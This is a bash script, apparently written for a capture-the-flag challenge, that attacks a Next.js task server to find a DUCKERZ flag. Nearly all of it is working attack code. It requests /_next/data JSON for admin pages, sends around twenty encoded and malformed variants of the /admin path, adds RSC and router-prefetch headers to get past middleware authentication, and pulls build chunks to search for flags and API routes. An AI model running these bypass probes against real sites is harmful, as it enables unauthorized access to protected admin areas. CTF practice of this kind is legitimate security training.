---

T="http://task.duckerz.ru:21046"
BID="JJN36yMfd5yB9oQiq_ZJw"

echo "########## A. _next/data обход ##########"
for u in \
  "/_next/data/$BID/admin.json" \
  "/_next/data/$BID/admin.json?next=/admin" \
  "/_next/data/$BID/admin.json?slug=admin" \
  "/_next/data/$BID/index.json" \
  "/_next/data/$BID/login.json" \
  ; do
  echo "--- $u ---"
  curl -s -i --max-time 8 "$T$u" | head -15
  echo
done

echo "########## B. URL-трюки для /admin ##########"
for p in "/admin" "/admin/" "/ADMIN" "/Admin" "/%61dmin" "/ad%6din" \
         "/admin%00" "/admin%20" "/admin..;/" "/./admin" "/admin/." \
         "//admin" "/admin?" "/admin#" "/admin;x" "/aDmin" "/admin/index" \
         "/admin/../admin" "/admin%2f" "/%2fadmin"; do
  echo -n "$p -> "
  curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-time 5 "$T$p"
done

echo "########## C. RSC-prefetch обход ##########"
curl -s -i --max-time 8 "$T/admin" \
  -H "RSC: 1" \
  -H "Next-Router-Prefetch: 1" \
  -H "x-nextjs-data: 1" | head -20

echo
curl -s -i --max-time 8 "$T/admin" \
  -H "Next-Router-Prefetch: 1" \
  -H "Next-Router-Segment-Prefetch: /admin" | head -20

echo "########## D. Чанки pages/_app и pages/_error ##########"
curl -s --max-time 8 "$T/_next/static/$BID/_buildManifest.js" | grep -oE "static/chunks/pages/[^\"']+" | sort -u
echo "--- содержимое _app ---"
for f in $(curl -s --max-time 8 "$T/_next/static/$BID/_buildManifest.js" | grep -oE "static/chunks/pages/_app[^\"']+" | sort -u); do
  echo "=== $f ==="
  curl -s --max-time 8 "$T/_next/$f" | grep -oE "DUCKERZ\{[^}]*\}|/api/[^\"']+|admin" | sort -u | head -20
done

echo "########## E. Флаг в RSC /admin и / ##########"
curl -s --max-time 8 "$T/admin" -H "RSC: 1" | grep -oE "DUCKERZ\{[^}]*\}"
curl -s --max-time 8 "$T/" -H "RSC: 1" | grep -oE "DUCKERZ\{[^}]*\}"